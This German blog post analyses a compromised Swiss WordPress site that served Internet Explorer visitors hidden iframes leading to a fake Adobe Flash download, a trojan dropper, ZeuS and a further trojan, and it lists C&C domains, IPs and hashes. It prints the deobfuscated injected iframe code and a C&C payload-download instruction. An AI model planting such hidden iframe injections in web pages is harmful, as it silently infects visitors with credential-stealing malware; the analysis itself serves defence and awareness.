Vor kurzen stolperte ich über eine kompromittierte CH-Webseite, welche den Besucher mittels drive-by infection einen Trojaner unterjubelte. So weit eigentlich nichts Aussergewöhnliches. Was jedoch interessant ist, ist die Art, wie die drive-by infection in diesem Fall funktioniert hat. Ich habe mich deshalb dazu entschlossen, kurz aufzuzeigen, wie raffiniert so genannte drive-by infections in der heutigen Zeit sein können.
Was der Bösewicht als Erstes benötigt, ist einen Zugang zu einem legitimen Webserver. Nun gibt es verschiedene Möglichkeiten, wie sich ein Krimineller Zugriff auf ein System verschaffen kann:
In unserem Falle handelt es sich um eine Schweizer Webseite, welche eine Plattform für politische Diskussionen im Internet anbietet. Ein kurzer Blick in den Quellcode der Webseite verrät, dass die Webseite eine veraltete Version der Blogging Software WordPress verwendet, und somit ein Einfallstor für Attacken bietet:

Was der Kriminelle als nächstes braucht bzw. macht, ist (meistens) ein obfuskiertes JavaScript irgendwo auf der Webseite einzubinden:

In unserem Fall ist dies etwas exotisch: Besucher, welche nähmlich die Webseite mit einem Alternativbrowser an surfen, bekommen den obfuskierten JavaScript-Code erst gar nicht zu Gesicht:

Nur wenn ein Besucher die Webseite mit dem Internet Explorer ansteuert, wird der Javascript Code überhaupt erst zurückgeschickt und dadurch zwei IFrames in die Seite eingebunden. Deobfuskiert sieht das wie folgt aus:
<iframe width="1" height="1" src="http://oi.usrv03.com/oi.php"></iframe>
</u>
<iframe width="1" height="1" src="http://sulidev.com/ie.php?x=2"></iframe>
</u>
Die beiden Webseiten werden in den USA gehosted (APS telecom):
sulidev.com IN A 216.195.55.140
NetRange: 216.195.32.0 – 216.195.63.255
OrgName: APS telecom
OrgID: PRICE-31
Address: 8130 SW BEAVERTON-HILLSDALE HWY
City: Portland
StateProv: OR
PostalCode: 97225
Country: US
Die beiden Webseiten geben sich als YouTube aus und versuchen den Besucher dazu zu animieren, die neuste Version des Adobe Flash Player herunter zu laden:

Dabei tarnt sich die Webseite erneut, diesmal als falsche Download Seite des Adobe Flash Player get.adobe.com. Die Fäschung sieht täuschend echt aus:
Fälschung (get.adobe.com.flashplayer.usrv03.com):

Orginal (get.adobe.com):

Die Datei, welche der Besucher der gefälschten Adobe Webseite bekommt, ist nicht etwa der Adobe Flash Player, sonder ein Trojaner:
File size: 13824 bytes
MD5…: 52da3ddb238de09b14273a675d168d5a
SHA1..: a6b1414ff3c7279fd16476f00b5853a0e090bfb9
Erkennungsrate: 17/40 (42.50%)
Bei dem Trojaner Eldorado handelt es sich um einen so genannten Trojan-Dropper, welcher in der Lage ist, weiteren Schadcode aus dem Internet nach zu laden. Und dies macht er auch fleissig. Führt der Benutzer das EXE-File aus, nistet sich der Trojaner im System ein und lädt weiteren Schadcode nach.
Als erstes meldet sich der Trojaner bei einem Command&Control server:
Name: nan.co.ee
Address: 216.195.55.137
NetRange: 216.195.32.0 – 216.195.63.255
OrgName: APS telecom
Address: 8130 SW BEAVERTON-HILLSDALE HWY
City: Portland
Country: US
Der frisch infizierte Rechner bekommt nun die Anweisung vom C&C, dass dieser weiteren Schadcode nachladen soll:
o3#gozuxyb.com/001.exe
Und dies tut der infizierte Client auch:
Name: gozuxyb.com
Address: 216.195.55.136
NetRange: 216.195.32.0 – 216.195.63.255
OrgName: APS telecom
Address: 8130 SW BEAVERTON-HILLSDALE HWY
City: Portland
Country: US
Bei dem nachgeladenen Schadcode handelt es sich einmal mehr um das ZeuS Crimeware-kit (aka WSNPoem / Zbot):
File size: 66560 bytes
MD5…: 36bb5b3e048108b33b1629f1ce926792
SHA1..: 0892a9604e8daec2dd0a3533984a9d33589b95a8
Erkennungsrate: 5/40 (12.50%)
Hat sich ZeuS einmal im System eingenistet, stiehlt dieser sensible Zugangsdaten, beispielsweise für E-Banking Accounts etc. (Siehe abuse.ch ZeuS Tracker: polotomo.com).
Wer nun denkt, dass sei alles gewesen, irrt sich. Der Trojaner lädt noch weiteren Schadcode nach:
Filename 1.exe
File size: 871936 bytes
MD5…: 511915a6e0083864c76949613112e172
SHA1..: c74eddf791191fd0703b4249d86403f4e0e85afd
Erkennungsrate: 27/39 (69.23%)
Der nachgeladene Trojaner meldet sich nun ebenfalls regelmässig bei einem Command&Control Server:
Name: ikone.net
Address: 80.67.17.42
inetnum: 80.67.17.0 – 80.67.18.255
netname: DOMAINFACTORY
descr: DOMAINFACTORY
descr: COLOCATION LEVEL3
country: DE
Fazit
Im schlimmsten Fall ist der Besucher nach dem Besuch der gehackten Webseite um drei Trojaner reicher. Deshalb gilt:
Webseitenbesitzern sollten sich zudem bewusst sein, dass die auf dem Server installierte Software wie z.B CMS-Systeme & Co stets auf dem neusten stand gehalten werden müssen, um unbefugte Zugriffe zu verhindern.

